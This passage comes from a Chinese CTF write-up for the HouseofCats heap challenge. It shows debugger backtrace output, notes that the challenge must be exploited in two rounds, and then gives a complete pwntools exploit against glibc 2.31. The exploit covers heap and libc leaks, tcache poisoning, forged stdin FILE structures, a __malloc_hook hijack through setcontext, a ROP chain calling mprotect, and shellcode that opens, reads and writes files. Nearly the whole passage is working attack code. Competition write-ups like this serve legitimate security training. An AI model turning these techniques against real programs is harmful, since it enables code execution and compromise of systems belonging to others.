05:0028│ 0x7ffd6c13d940 —▸ 0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
06:0030│ 0x7ffd6c13d948 —▸ 0x7f32451cd9bb (_IO_2_1_stdin_+59) ◂— 0xe8
07:0038│ 0x7ffd6c13d950 —▸ 0x7ffd6c13e090 —▸ 0x7ffd6c13e190 —▸ 0x7ffd6c13e1b0 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────
► 0 0x7f324503a0dd setcontext+61
1 0x7f324501691f _nl_remove_locale+79
2 0x7f3245008b72 init_cacheinfo+242
3 0x7f3245009529 strip+217
4 0x7f32451446d6 do_dlopen+70
5 0xa
6 0x7f3245048229 funlockfile+73
7 0x7f32451cdac8 _IO_wide_data_0+104
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
10. 需要打两轮
最后需要注意的是,题目容器内run.sh要求打两轮才有flag:
- Round 0:shellcode open(“/home/HouseofCats/writable/check”, O_RDWR|O_CREAT, 0777) + write(fd, “asimplechk”, 10) → run.sh 检查通过后把 flag 拷进 chroot 并重启二进制
- Round 1:同一 socket 上对新进程完整重打一遍,shellcode open(“/home/HouseofCats/flag”)+read+write(1,…) → flag
11. 完整EXP
import sys
from pwn import *
# amd64 struct _IO_FILE + vtable
OFF = {
'flags': (0x00, 4),
'read_ptr': (0x08, 8),
'read_end': (0x10, 8),
'read_base': (0x18, 8),
'write_base': (0x20, 8),
'write_ptr': (0x28, 8),
'write_end': (0x30, 8),
'buf_base': (0x38, 8),
'buf_end': (0x40, 8),
'save_base': (0x48, 8),
'backup_base': (0x50, 8),
'save_end': (0x58, 8),
'markers': (0x60, 8),
'chain': (0x68, 8),
'fileno': (0x70, 4),
'flags2': (0x74, 4),
'old_offset': (0x78, 8),
'cur_column': (0x80, 2),
'vtable_offset':(0x82, 1),
'shortbuf': (0x83, 1),
'lock': (0x88, 8),
'offset': (0x90, 8),
'codecvt': (0x98, 8),
'wide_data': (0xa0, 8),
'freeres_list': (0xa8, 8),
'freeres_buf': (0xb0, 8),
'pad5': (0xb8, 8),
'mode': (0xc0, 4),
'unused2': (0xc4, 20),
'vtable': (0xd8, 8),
}
class IO_FILE_plus:
def __init__(self, arch=64):
assert arch == 64
self.size = 0xe0
def construct(self, **kwargs):
buf = bytearray(self.size)
for k, v in kwargs.items():
off, sz = OFF[k]
if sz == 8:
buf[off:off+8] = p64(v)
elif sz == 4:
buf[off:off+4] = p32(v)
elif sz == 2:
buf[off:off+2] = p16(v)
elif sz == 1:
buf[off:off+1] = p8(v)
return bytes(buf)
context.arch = 'amd64'
###Util
def create(size,data):
r.sendlineafter('choice : ','1')
r.sendlineafter('length : ',hex(size-4)[2:])
r.sendafter('name : ',data)
def show(idx):
r.sendlineafter('choice : ','2')
r.sendlineafter('index : ',hex(idx)[2:])
size = int(r.recvline()[:-1].split(b'ID : ')[1])
facilities = r.recvline()[:-1].split(b'Name : ')[1]
return size,facilities
def delete(idx):
r.sendlineafter('choice : ','3')
r.sendlineafter('index : ',hex(idx)[2:])
def scanf_consolidate():
r.sendlineafter('choice : ','0'*0x400)
###Addr
# libc2.31(Ubuntu) (20200925)
malloc_hook_offset = 0x1ebb70
mp_offset = 0x1eb280
tcachebins_offset = mp_offset+0x50
tcachecount_offset = mp_offset+0x60
main_arena_offset = 0x1ebb80
unsorted_bin_offset = main_arena_offset+0x60
small_bin_offset = main_arena_offset+0x70
large_bin_offset = main_arena_offset+0x450
stdin_struct_offset = 0x1eb980
stdin_bufbase_offset = stdin_struct_offset+0x38
stdin_shortbuf_offset = stdin_struct_offset+0x83
IO_str_jumps_offset = 0x1ed560
#memalign_hook_ini_offset = 0x9d550
#realloc_hook_ini_offset = 0x9dbd0
tls_offset = 0x1f35c0
libc_tsd_locale_offset = tls_offset-0x90
loc_offset = 0x1ec4a0
ctype_tolower_offset = 0x19e4c0
###ROPgadget
L_nop = 0x3491f
L_pop_rdi = 0x26b72
L_pop_rsi = 0x27529
L_pop_rdx_rbx = 0x1626d6
L_pop_rax = 0x4a550
L_syscall = 0x66229
set_context_gadget = 0x580dd
###Exploit
#r = process('./H',env={'LD_PRELOAD':'./libc-2.31.so'})
r = remote('127.0.0.1',10104)
r.timeout=10
for rounds in range(2):
TCACHE_COUNT = 7
for i in range(3): #Padding to nudge tcache entry for 0x810
create(0x18,'M30W') #0
delete(0)
for i in range(TCACHE_COUNT):
create(0x28,'M30W') #0
delete(0)
create(0x28,'M30W') #0
create(0x28,'M30W') #1
delete(1)
delete(0)
create(0x38,'M30W') #0
for i in range(TCACHE_COUNT):
create(0x38,'M30W') #1
delete(1)
delete(0)
create(0x28,'M30W') #0
create(0x28,'M30W') #1'
delete(0)
delete(1)
create(0x28,'M30W') #0
delete(1)
leaks = show(0)
heap_addr = leaks[0]+(u32(leaks[1].ljust(4,b'\x00'))<<32)-0x440
print(hex(heap_addr))
create(0x28,'M30W') #1
delete(0)
scanf_consolidate()
leaks = show(1)
unsorted_bin_addr = leaks[0]+(u32(leaks[1].ljust(4,b'\x00'))<<32)
libc_base = unsorted_bin_addr-unsorted_bin_offset
print(hex(libc_base))
create(0x18,'M30W') #0
delete(0)
for i in range(TCACHE_COUNT-4-1):
create(0x38,p32(0)+p64(0x21)) #0
delete(1)
delete(0)
for i in range(TCACHE_COUNT+1):
create(0x38,p32(0)+p64(0xf1)) #0
delete(1)
delete(0)
create(0x38,p32(0)+p64(0x21)+p64(heap_addr+0x4a0)+p64(libc_base+unsorted_bin_offset)+p64(0x20)+p64(0x20)) #0
scanf_consolidate()
delete(0)
create(0x38,p32(0)+p64(0x31)) #0
delete(1)
delete(0)
create(0x38,'M30W') #0
create(0x38,p32(0)+p64(0)+p64(0)+p64(0x21)+p64(heap_addr+0x470)+p64(libc_base+tcachecount_offset-0x5-0x10)) #1
delete(0)
create(0x38,p32(0)+p64(0x21)+p64(0)+p64(heap_addr+0x4c0)+p64(0)+p64(0x31)) #0
delete(1)
create(0x18,'M30W') #1
TCACHE_COUNT = libc_base>>40
delete(1)
for i in range(TCACHE_COUNT-7-2):
create(0x38,'M30W')
delete(1)
create(0x38,p32(0)+p64(0)+p64(libc_base+loc_offset+0x58)+p64(0)+b'\x00\x10'*0x2+b'\x00\x20'+b'\x00\x10'*0x9)
delete(1)
create(0x38,p32(0)+p64(0)+b'\x00\x10'*0x14)
delete(1)
delete(0)
create(0x38,p32(0)+p64(0x31)+p64(heap_addr+0x480)+p64(0)+p64(libc_base+main_arena_offset)+p64(heap_addr+0x480)) #0
create(0x28,'M30W') #1
delete(0)
for i in range(TCACHE_COUNT+1):
create(0x38,p32(0)+p64(0x131)) #0
delete(1)
delete(0)
for i in range(TCACHE_COUNT-8-2):
create(0x38,p32(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x21)) #0
delete(1)
delete(0)
for i in range(TCACHE_COUNT-0xa-2):
create(0x38,p32(0)+p64(0x31)) #0
delete(1)
delete(0)
for i in range(TCACHE_COUNT):
create(0x38,p32(0)+p64(0x51)) #0
delete(1)
delete(0)
create(0x38,p32(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x21)+p64(heap_addr+0x23f0)) #0
create(0x18,p32(0)+p64(0x41)) #1
delete(0)
create(0x37,p32(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x51)) #0
delete(1)
delete(0)
create(0x37,p32(0)+p64(0x131)+p64(libc_base+unsorted_bin_offset)+p64(libc_base+unsorted_bin_offset)) #0
create(0x27,p32(0)+p64(0)+p64(0)+p64(0x51)) #1
delete(0)
create(0x37,p32(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x51)) #0
delete(1)
delete(0)
create(0x37,p32(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x51)) #0
scanf_consolidate()
create(0x37,p32(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x80)) #1
delete(0)
for i in range(TCACHE_COUNT+1):
create(0x37,p32(0)+p64(0x171))
delete(1)
delete(0)
create(0x37,p32(0)+p64(0x31)+p64(heap_addr+0x4b0)+p64(libc_base+unsorted_bin_offset)+p64(0)+p64(0)+p64(0x30)[:-1]) #0
scanf_consolidate()
delete(0)
create(0x37,p32(0)+p64(0x31)+p64(heap_addr+0x4b0)+p64(heap_addr+0x480)+p64(0)+p64(libc_base+tcachebins_offset-0x10)) #0
create(0x27,'M30W') #1
scanf_consolidate()
delete(0)
create(0x37,p32(0)+p64(0)+p64(0)+p64(libc_base+stdin_bufbase_offset+1-0x400)) #0
padding1 = b'0'*(0x400-0x39)
fakeflags = b'\x8b\x30'
padding2 = b'0'*0x36
hijack_bufbase=b'0'+p8(((libc_base+stdin_struct_offset)>>8)&0xff)
if rounds==0:
argument = b'asimplechk\x00/home/HouseofCats/writable/check\x00'.ljust(0x50,b'\x00')
else:
argument = b'/home/HouseofCats/flag\x00'.ljust(0x50,b'\x00')
IO_file = IO_FILE_plus(arch=64)
stream1 = IO_file.construct(flags = 0xfbad2082,
read_ptr = libc_base+stdin_shortbuf_offset, read_end = libc_base+stdin_shortbuf_offset+0x1-0xd4,
buf_base = libc_base+stdin_struct_offset+0x10, buf_end = libc_base+malloc_hook_offset+0x8,
fileno = 0,
shortbuf = ((libc_base+stdin_struct_offset)&0xff0000)>>16)
stream2 = IO_file.construct(read_end = 0,
write_base = 0, write_ptr = libc_base+malloc_hook_offset-0x110-0xa0,
buf_end = 0xe8000000, buf_base = 0x0,
fileno = 0,
lock = libc_base+stdin_struct_offset-0x20,
mode = 0xffffffff,
vtable = libc_base+IO_str_jumps_offset-0x10)
hijacked_malloc_hook = p64(libc_base+set_context_gadget)
stub = p64(libc_base+malloc_hook_offset-0x110+0x10)+p64(libc_base+L_nop)
ROPchain = p64(libc_base+L_pop_rdi)+p64((libc_base+stdin_struct_offset)&0xfffffffffffff000)+\
p64(libc_base+L_pop_rsi)+p64(0x2000)+\
p64(libc_base+L_pop_rdx_rbx)+p64(7)+p64(0)+\
p64(libc_base+L_pop_rax)+p64(10)+\
p64(libc_base+L_syscall)+\
p64(libc_base+malloc_hook_offset-0x110+0x68)
if rounds==0:
shellcode = asm(f'''
mov rdi, {libc_base+stdin_struct_offset-0x50+11}
mov rsi, 0102
mov rdx, 0777
mov rax, 2
syscall
mov rdi, rax
mov rsi, {libc_base+stdin_struct_offset-0x50}
mov rdx, 10
mov rax, 1
syscall
mov rdi, 0
mov rax, 0x3c
syscall
''')
else:
shellcode = asm(f'''
mov rdi, {libc_base+stdin_struct_offset-0x50}
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, rax
mov rsi, {libc_base+stdin_struct_offset-0x50}
mov rdx, 0x100
mov rax, 0
syscall
mov rdi, 1
mov rsi, {libc_base+stdin_struct_offset-0x50}
mov rdx, 0x100
mov rax, 1
syscall
mov rdi, 0
mov rax, 0x3c
syscall
''')
payload = padding1+fakeflags+padding2+hijack_bufbase+argument+stream1[:0x84]+stream2[0x10:]+(stub+ROPchain+shellcode).ljust(0x110,b'\x00')+hijacked_malloc_hook
r.sendafter('choice : ',payload)
r.interactive()